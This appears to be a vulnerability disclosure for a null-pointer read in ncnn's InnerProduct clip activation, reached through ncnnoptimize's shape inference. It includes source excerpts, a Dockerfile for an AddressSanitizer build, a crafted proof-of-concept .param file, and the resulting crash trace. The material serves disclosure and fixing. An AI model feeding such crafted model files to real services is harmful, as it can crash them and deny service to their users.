Null Dereference in InnerProduct Clip Activation

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/fused_activation.h:27 in activation_ss
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5aae8e6b1f57 bp 0x7fff34b60930 sp 0x7fff34b4e380 T0)

Summary

A crafted .param file terminates ncnnoptimize with a null read. The file gives an InnerProduct layer fused clip activation via key 9=3 while omitting key 10, the array that supplies the clip bounds. InnerProduct::load_param stores an empty Mat and reports success, and ncnnoptimize's shape-inference pass then actually executes the layer, where activation_ss reads activation_params[0] and activation_params[1] from a null buffer. Entry point: ncnnoptimize poc.param null out.param out.bin 0.

Detail

InnerProduct::load_param reads the activation selector and the activation argument array as two unrelated keys, and the array falls back to a default-constructed Mat when key 10 is missing. No consistency check couples them, so a layer declaring activation type 3 with zero parameters loads cleanly.

The crash is not in the loader but in the execution path: ncnnoptimize calls ModelWriter::shape_inference() (tools/modelwriter.h:435), which builds an Extractor and calls ex.extract() for every top blob, running each layer's forward. The x86 InnerProduct fp16-storage kernel evaluates the fused activation per output element:

// src/layer/innerproduct.cpp:24
    activation_type = pd.get(9, 0);
    activation_params = pd.get(10, Mat());

// src/layer/x86/innerproduct_fp.h:817
            sum = activation_ss(sum, activation_type, activation_params);

// src/layer/fused_activation.h:25
    case 3:
    {
        float min = activation_params[0];
        float max = activation_params[1];
        if (v < min)
            v = min;
        if (v > max)
            v = max;
        break;
    }

Mat::operator[] is an unchecked ((float*)data)[i], and the empty Mat has data == 0, so case 3 reads offsets 0 and 4 from address 0x0. The PoC layer line is InnerProduct ip 1 1 data out 0=1 1=0 2=1 9=3 with an Input of shape 0=1; num_output is 1, bias_term is 0 and weight_data_size is 1, so the layer loads successfully from the zero-filled DataReaderFromEmpty that ncnnoptimize installs for the literal null binary argument. Shape inference then reaches the very first output element and faults. The crash frame is the AVX-512 copy the build generates from src/layer/x86/innerproduct_x86.cpp, but the offending read lives in the shared header fused_activation.h and is reached from every fused-activation consumer.

Reproduce

mkdir -p ncnn-poc-null-dereference-in-innerproduct-clip-activation && cd ncnn-poc-null-dereference-in-innerproduct-clip-activation

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input input 0 1 data 0=1
InnerProduct ip 1 1 data out 0=1 2=1 9=3
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x609e78810f57 bp 0x7fff5a0cccb0 sp 0x7fff5a0ba700 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x609e78810f57 in activation_ss /ncnn/src/layer/fused_activation.h:27
    #1 0x609e78810f57 in innerproduct_fp16s_sse /ncnn/src/layer/x86/innerproduct_fp.h:817
    #2 0x609e78a5e83a in ncnn::InnerProduct_x86_avx512::forward_fp16s(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:333
    #3 0x609e78a58e3a in ncnn::InnerProduct_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:136
    #4 0x609e75a66f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #5 0x609e75a58b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #6 0x609e75ab89e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #7 0x609e7594a3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #8 0x609e759c7eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #9 0x7c66d6ba31c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x7c66d6ba328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x609e75947624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/fused_activation.h:27 in activation_ss
==1==ABORTING

Credit

Zheng Yu @ DepthFirst